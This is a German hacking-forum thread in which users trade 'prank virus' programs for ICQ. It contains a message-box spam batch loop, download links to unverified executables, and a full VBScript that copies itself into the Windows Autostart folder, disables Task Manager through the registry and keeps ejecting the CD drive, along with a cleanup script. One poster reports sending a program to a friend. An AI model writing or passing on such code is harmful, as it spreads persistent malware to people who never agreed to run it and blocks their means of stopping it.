icq spaß-viren

[sp33dwalker]

@echo off
:noob
msg * man soll keine dateien mit komischen endungen annehmen!!!11
goto noob

in editor schreiben und als kacke.bat speichern

[Dauerbauer]

Ohje^^ Geb bei google "Scherzprogramm" ein, aber saugen auf eigene Gefahr.

[Panta666]

http://www.free-hack.com/showthread.php?t=6451
hoffe das der dl noch aktiv ist
naja kann man schöne sachen mit machen und gut für faule Menschen!

Upload : Rapidshare sry^^ ich bin jung und brauche das geld XD

[kashim]

Ohje^^ Geb bei google "Scherzprogramm" ein, aber saugen auf eigene Gefahr.

dadurch bekommst du sicher lediglich nur viren und trojaner

[Unbekannt.exe]

Wie wärs mit sowas ?


Download:
http://rapidshare.com/files/188916477/Icq_hack_fake.exe

ist Clean habs selbst gecoded wenn du wünsche hast melde dich ...

Das Programm mach folgendes :
Öffnet einfach immer ein Fenster wo man Ok drücken muss ....
Das geht ne weile und dann ist es fertig
Bei dem Close button ist das das gleiche ..
schließen über Task Manager ...

[Brainfuck ++]

das ist ja mal richtig geiL

[Kaspersky]

Hier das hab ich eben fix gemacht:
http://rapidshare.com/files/188992063/Get_Me_.exe

-Ist ein kleines fenster wo man schliesen muss, aber es verschwindet jedes mal woanderst hin wenn man mit der maus hingeht.

[simon1410]

hey cool danke habe auch ein paar bei 3dl.am gefunden xD

[Breekachu]

hier kopiere mal folgenden code in den editor und speicher es unter "VollGeil.vbs"^^
das programm lässt das laufwerk die ganze zeit auf und zu gehen, deaktiviert den taskmanager (das programm kann also nicht beendet werden) und wenn man den PC neu startet kommt es erneut^^


sub laufwerk
set mp = WScript.CreateObject("WMPlayer.OCX")
mp.cdromcollection.item(0).eject
WScript.Sleep 2500
mp.cdromcollection.item(0).eject
end sub

dim wshshell, username
set wshshell = wscript.createobject("wscript.shell")
set objShell = createobject("wscript.shell")
set fso = createobject("Scripting.filesystemobject")

'Pfad des Skriptes
name = WScript.ScriptName
pfad = fso.getAbsolutePathName(name)

username = wshshell.environment("process") ("username")

'EXISTENZPRÜFUNG
set fs = CreateObject("Scripting.FileSystemObject")
if fs.fileExists("C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart\Wels.vbs") then
do
laufwerk
loop
else
objShell.Run "xcopy """ & pfad & """ ""C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart"""

WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "1", "REG_DWORD"
do
laufwerk
loop
end if




ach ja und wenn du das alles wieder weg haben möchtest benutze diesesn code:




dim wshshell, username
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
username = wshshell.environment("process") ("username")

WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "0", "REG_DWORD"

pc = "localhost"
programm = "'Wels.exe'"
Set wmi = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& pc & "\root\cimv2")
Set col = wmi.ExecQuery _
("Select * from Win32_Process Where Name = " & programm )
For Each obj in col
obj.Terminate()
Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart\Wels.vbs")
f1.Delete





viel spaß ^^

[Yann1ck]

Sind ein paar geile Programme dabei aber das coolste ist das von Kaspersky

Habs gleich mal ein einen Freund geschickt xD